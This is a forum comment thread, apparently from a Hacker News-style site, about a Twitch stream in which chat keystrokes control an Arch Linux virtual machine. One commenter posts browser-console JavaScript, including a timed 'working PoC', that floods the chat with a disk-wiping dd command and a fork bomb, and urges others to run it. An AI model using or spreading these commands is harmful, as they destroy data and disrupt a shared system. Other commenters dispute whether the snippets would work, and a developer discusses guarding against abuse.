Lurker News

Comments (250) 30 threads

Earlier comments
nchudleigh1 reply#
This is going to be amazing
chadillac4 replies#
> setTimeout(function(){$('#chat-input').val('dd if=/dev/zero of=/dev/sda bs=4M');$('#chat-send').click();},100)

> setTimeout(function(){$('#chat-input').val(':(){ :|: & };:');$('#chat-send').click();},100)
Get a handful of people to run one of those in their browsers JS console and watch the world burn.

oneeyedpigeon2 replies#
Except that those won't work - the input has to be received one-character at a time, i.e. one character per chat message.
igorgue2 replies#
Can't you just modify the script to add 1 char at the time and the event handler will get it anyways?

Continue this thread — 2 replies

chadillac4 replies#
simple pseudo-code PoC, another 2 minutes of coding to fix that limitation.

Continue this thread — 4 replies

packetslave#
this is why we can't have nice things
chadillac1 reply#
For the doubters, here is a working PoC... works in Chrome.

  setInterval(function(){$('#chat_text_input').val(':(){ :|: & };:');e=document.createEvent('Event');e.initEvent('keydown',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e);e=document.createEvent('Event');e.initEvent('keyup',true,true);e.keyCode=13;document.getElementById('chat_text_input').dispatchEvent(e); },1000);
PhasmaFelis1 reply#
I just flagged this because it (and the other post of the same thing) blows out the page width and makes everything else wrap to the full length of the string, which is considerably more than the average screen width. Hoping an admin can edit it.

Continue this thread — 1 reply

sidarape#
I won't work for the simple reason that it is only one character by user.
awalton#
How long until someone gets wget installed, wgets a binary from some random Russian site, and owns the VM?
giancarlostoro#
Definitely interesting to see these twitch events. For those curious Twitch has a IRC backend for the chatrooms, so if you can code an IRC bot, you can easily allow twitch users to automate many interesting things.
lucb1e2 replies#
Hmm, `system_reset` is an available command. Is that a good idea if people just spam it randomly? Because they will...

Perhaps detecting when the machine is powered off and automatically turning it on is more effective.

jbott#
The problem is that it is possible to put the machine into a state where it does not accept key inputs, so the only way to get it out is to do a "hard reset". We are still not sure how to handle that (Possible a confirmation box where they have to type "yes" to do it?). That whole subsystem is still undergoing revisions, so we are going to do some testing later and see if we can make that less easily exploited.
Joe8Bit2 replies#
> Every ten seconds, the most popular keystroke in Twitch chat will be entered into an Arch Linux virtual machine

Seems it's keystroke by keystroke, not command by command.

Splines#
Hopefully the channel manages to create aliases for a bunch of common stuff.

Load more comments